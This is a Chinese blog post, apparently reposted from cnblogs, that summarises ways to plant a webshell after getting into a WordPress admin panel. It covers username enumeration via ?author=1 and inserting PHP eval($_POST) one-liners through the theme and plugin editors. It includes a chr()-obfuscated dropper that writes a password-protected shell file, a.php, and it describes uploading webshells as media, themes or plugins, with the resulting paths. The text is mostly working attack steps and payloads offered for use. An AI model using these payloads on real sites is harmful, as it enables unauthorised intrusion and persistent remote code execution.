Wordpress 后台GetShell总结

0x00 前言

Wordpress后台Getshell的方法网上公开了很多,在此记录总结一下

相比于前台,wordpress后台的防御的就低得多
Wordpress的插件和主题功都可以上传和线编辑
很容易就可以插入木马getshell

?author=1 遍历用户名

0x01 在线编辑getshell

编辑主题

第一种

在后台找到主题外观编辑
选择主题,在右侧选择php文件

PHP标签内写入 @eval($_POST[a]);
或者在PHP标签外写入 <?php @eval($_POST['code']);?>
提交更改

路径为
url+/wp-content/themes/+主题名/+修改文件的文件名

连接即可

也可以在这里写入

url+/wp-content/themes/Begin/inc/xxx.php

第二种

进入主题编辑器,选择要编辑的主题,要编辑的文件
插入下方payload,然后访问之
(报下图错不用管)
url+/wp-content/themes/编辑的主题/编辑的文件

这样就在该目录下生成一句话木马文件
文件名 a.php 密码 a
路径 url+/wp-content/themes/编辑的主题/a.php

<script language="php">fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62));</script>

编辑插件

和编辑主题思路方法一致

路径为

url+/wordpress321/wp-content/plugins/+更改的插件名+/+更改的文件名

0x02 上传getshell

媒体上传

在WordPress管理页面的左边单击“媒体”-“新增媒体案”
接着就会出来一个上传的界面,在该界面中选择“Browser 上傳功能”
直接选择php的Webshell上传即可;

上传主题

上传一个压缩了木马的zip
或者在官方主题中加入木马重新打包成zip更好
则木马路径为

url+/wp-content/themes/+主题名+/木马名

上传插件

和上传主题的思路一样

路径为

url+/wp-content/plugins/+插件名+/木马名

原文地址:https://www.cnblogs.com/ssw6/p/12668000.html